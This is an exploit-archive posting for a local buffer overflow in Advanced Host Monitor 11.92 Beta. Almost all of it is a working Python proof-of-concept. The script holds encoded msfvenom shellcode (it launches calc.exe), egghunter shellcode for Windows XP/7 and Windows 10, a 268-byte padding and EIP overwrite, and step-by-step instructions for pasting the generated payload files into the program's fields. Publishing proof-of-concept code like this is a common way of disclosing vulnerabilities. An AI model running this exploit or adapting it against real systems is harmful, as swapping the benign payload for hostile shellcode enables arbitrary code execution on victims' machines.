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Advanced Host Monitor 11.92 Beta Local Buffer Overflow

Advanced Host Monitor 11.92 Beta Local Buffer Overflow
Posted Mar 19, 2019
Authored by Peyman Forouzan

Advanced Host Monitor version 11.92 Beta suffers from a buffer overflow vulnerability.

tags | exploit, overflow
SHA-256 | 991f24e5abedf0208aaf8909cb74bb3f4da2987ea0625e395168ad6efb12aea7

Advanced Host Monitor 11.92 Beta Local Buffer Overflow

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#!/usr/bin/env python

#------------------------------------------------------------------------------------------------------------------------------------#
# Exploit: Advanced Host Monitor 11.92 beta - Local Buffer Overflow (EggHunter) #
# Date: 2019-03-18 #
# Author: Peyman Forouzan #
# Tested Against: Winxp SP2 32-64 bit - Win7 Enterprise SP1 32-64 bit - Win10 Enterprise 32-64 bit #
# Software Download #1: https://www.ks-soft.net/download/hm1192.exe #
# Software Download #2: https://www.ip-tools.biz/download/hm1192.exe #
# Version: 11.92 beta #
# The Program also has SEH Overflow, Which can be implemented in a similar way #
# Special Thanks to my wife #
# Steps : Open the APP --> Tools --> Trace (or Telnet) --> paste in contents from the egg.txt into "Host" --> Start --> Close #
# Advanced Host Monitor --> Options --> Startup --> paste in contents from the egghunter-winxp-win7.txt or #
# egghunter-win10.txt (depend on your windows version) into "load specific HTML file" --> Save --> Wait a litle --> #
# Shellcode (Calc) open #
#------------------------------------------------------------------------------------------------------------------------------------#
# "Egg" shellcode into memory --> Egghunter field overflow: EIP overwrite #
#------------------------------------------------------------------------------------------------------------------------------------#

#--------------------------------------------------- EGG Shellcode Generation ---------------------------------------------------

#msfvenom -p windows/exec cmd=calc.exe BufferRegister=EDI -e x86/alpha_mixed -f python -a x86 --platform windows -v egg
egg = "w00tw00t"
egg += "\x57\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
egg += "\x49\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30"
egg += "\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42"
egg += "\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
egg += "\x79\x6c\x5a\x48\x4e\x62\x77\x70\x57\x70\x63\x30\x71"
egg += "\x70\x4b\x39\x5a\x45\x35\x61\x4f\x30\x52\x44\x4c\x4b"
egg += "\x52\x70\x46\x50\x6c\x4b\x53\x62\x54\x4c\x6c\x4b\x43"
egg += "\x62\x44\x54\x6c\x4b\x71\x62\x51\x38\x34\x4f\x6e\x57"
egg += "\x31\x5a\x36\x46\x55\x61\x6b\x4f\x4c\x6c\x37\x4c\x75"
egg += "\x31\x73\x4c\x45\x52\x54\x6c\x77\x50\x49\x51\x48\x4f"
egg += "\x34\x4d\x53\x31\x69\x57\x39\x72\x4a\x52\x62\x72\x43"
egg += "\x67\x6e\x6b\x71\x42\x52\x30\x4c\x4b\x70\x4a\x47\x4c"
egg += "\x6e\x6b\x62\x6c\x62\x31\x72\x58\x6a\x43\x70\x48\x33"
egg += "\x31\x4e\x31\x52\x71\x4c\x4b\x36\x39\x37\x50\x63\x31"
egg += "\x5a\x73\x4c\x4b\x42\x69\x52\x38\x68\x63\x57\x4a\x31"
egg += "\x59\x4e\x6b\x44\x74\x4c\x4b\x55\x51\x38\x56\x50\x31"
egg += "\x6b\x4f\x6e\x4c\x69\x51\x78\x4f\x46\x6d\x36\x61\x58"
egg += "\x47\x46\x58\x4b\x50\x52\x55\x39\x66\x65\x53\x71\x6d"
egg += "\x79\x68\x45\x6b\x31\x6d\x45\x74\x34\x35\x7a\x44\x52"
egg += "\x78\x4c\x4b\x62\x78\x77\x54\x47\x71\x58\x53\x75\x36"
egg += "\x6c\x4b\x34\x4c\x70\x4b\x6c\x4b\x52\x78\x35\x4c\x43"
egg += "\x31\x58\x53\x6c\x4b\x73\x34\x6e\x6b\x67\x71\x58\x50"
egg += "\x6c\x49\x73\x74\x45\x74\x55\x74\x63\x6b\x61\x4b\x33"
egg += "\x51\x32\x79\x51\x4a\x36\x31\x49\x6f\x4b\x50\x71\x4f"
egg += "\x71\x4f\x42\x7a\x6c\x4b\x44\x52\x48\x6b\x6e\x6d\x31"
egg += "\x4d\x50\x6a\x35\x51\x6e\x6d\x6f\x75\x48\x32\x55\x50"
egg += "\x75\x50\x53\x30\x46\x30\x55\x38\x74\x71\x4c\x4b\x72"
egg += "\x4f\x4e\x67\x69\x6f\x6b\x65\x4d\x6b\x5a\x50\x38\x35"
egg += "\x79\x32\x56\x36\x45\x38\x59\x36\x6a\x35\x6f\x4d\x6f"
egg += "\x6d\x69\x6f\x59\x45\x35\x6c\x64\x46\x31\x6c\x76\x6a"
egg += "\x4b\x30\x79\x6b\x4b\x50\x74\x35\x73\x35\x4d\x6b\x73"
egg += "\x77\x65\x43\x71\x62\x32\x4f\x50\x6a\x75\x50\x31\x43"
egg += "\x39\x6f\x5a\x75\x55\x33\x43\x51\x72\x4c\x45\x33\x44"
egg += "\x6e\x62\x45\x31\x68\x62\x45\x63\x30\x41\x41"

f = open ("egg.txt", "w")
f.write(egg)
f.close()

#----------------------------------------------- EGG Hunter Shellcode Generation ----------------------------------------------

#encode egghunter code produced by mona (looking for w00tw00t) into only alpha characters

# EggHunter - Modified Version for Winxp and Win7 (32-64 bit)
egghunter = "\x4c\x4c\x4c\x4c\x5f"
egghunter += "\x57\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
egghunter += "\x49\x49\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58"
egghunter += "\x50\x30\x41\x35\x41\x6b\x41\x46\x51\x32\x41\x47"
egghunter += "\x32\x42\x47\x30\x42\x47\x41\x42\x58\x50\x38\x41"
egghunter += "\x47\x75\x4a\x49\x70\x66\x4c\x4c\x78\x4b\x6b\x30"
egghunter += "\x49\x6b\x54\x63\x42\x55\x74\x4a\x66\x51\x69\x4b"
egghunter += "\x36\x51\x38\x52\x36\x33\x52\x73\x36\x33\x36\x33"
egghunter += "\x38\x33\x4f\x30\x71\x76\x4d\x51\x6b\x7a\x39\x6f"
egghunter += "\x66\x6f\x47\x32\x36\x32\x4d\x50\x59\x6b\x59\x50"
egghunter += "\x33\x44\x57\x78\x43\x5a\x66\x62\x72\x78\x78\x4d"
egghunter += "\x44\x6e\x73\x6a\x7a\x4b\x37\x62\x52\x4a\x71\x36"
egghunter += "\x61\x48\x55\x61\x69\x59\x6f\x79\x79\x72\x70\x64"
egghunter += "\x59\x6f\x75\x43\x73\x6a\x6e\x63\x57\x4c\x71\x34"
egghunter += "\x47\x70\x42\x54\x76\x61\x72\x7a\x57\x4c\x37\x75"
egghunter += "\x74\x34\x7a\x76\x6c\x78\x72\x57\x46\x50\x76\x50"
egghunter += "\x63\x44\x6d\x59\x59\x47\x4e\x4f\x71\x65\x4e\x31"
egghunter += "\x6e\x4f\x51\x65\x38\x4e\x79\x6f\x4b\x57\x41\x41"

# EggHunter - Modified Version for Windows10 (32-64 bit)
egghunter10 = "\x4c\x4c\x4c\x4c\x5f"
egghunter10 += "\x57\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49"
egghunter10 += "\x49\x49\x49\x49\x49\x49\x49\x37\x51\x5a\x6a"
egghunter10 += "\x41\x58\x50\x30\x41\x35\x41\x6b\x41\x46\x51"
egghunter10 += "\x32\x41\x47\x32\x42\x47\x30\x42\x47\x41\x42"
egghunter10 += "\x58\x50\x38\x41\x47\x75\x4a\x49\x4d\x53\x4a"
egghunter10 += "\x4c\x46\x50\x69\x57\x56\x64\x76\x44\x55\x50"
egghunter10 += "\x37\x70\x55\x50\x73\x30\x48\x47\x43\x74\x55"
egghunter10 += "\x74\x35\x54\x57\x70\x47\x70\x35\x50\x65\x50"
egghunter10 += "\x78\x47\x67\x34\x77\x54\x76\x68\x35\x50\x55"
egghunter10 += "\x50\x53\x30\x45\x50\x66\x51\x4a\x72\x61\x76"
egghunter10 += "\x4c\x4c\x58\x4b\x6f\x70\x6b\x4b\x61\x33\x50"
egghunter10 += "\x75\x63\x32\x4c\x73\x4f\x30\x70\x66\x4b\x31"
egghunter10 += "\x6a\x6a\x49\x6f\x64\x4f\x62\x62\x73\x62\x4d"
egghunter10 += "\x50\x69\x6b\x79\x50\x30\x74\x64\x4b\x53\x58"
egghunter10 += "\x6b\x76\x63\x31\x75\x50\x37\x70\x70\x58\x5a"
egghunter10 += "\x6d\x54\x6e\x52\x7a\x68\x6b\x67\x61\x30\x31"
egghunter10 += "\x49\x4b\x73\x63\x51\x43\x30\x53\x32\x4a\x71"
egghunter10 += "\x39\x63\x68\x38\x33\x49\x50\x51\x74\x69\x6f"
egghunter10 += "\x66\x73\x6d\x53\x7a\x64\x66\x6c\x42\x7a\x55"
egghunter10 += "\x6c\x47\x75\x71\x64\x49\x44\x78\x38\x72\x57"
egghunter10 += "\x66\x50\x74\x70\x31\x64\x4f\x79\x4b\x67\x4c"
egghunter10 += "\x6f\x70\x75\x78\x4f\x6e\x4f\x44\x35\x48\x4c"
egghunter10 += "\x6b\x4f\x68\x67\x41\x41"

eip = "\x4d\x37\x41"

buffer = egghunter + "\x41" * (268 - len(egghunter)) + eip

f = open ("egghunter-winxp-win7.txt", "w")
f.write(buffer)
f.close()
buffer = egghunter10 + "\x41" * (268 - len(egghunter10)) + eip
f2 = open ("egghunter-win10.txt", "w")
f2.write(buffer)
f2.close()
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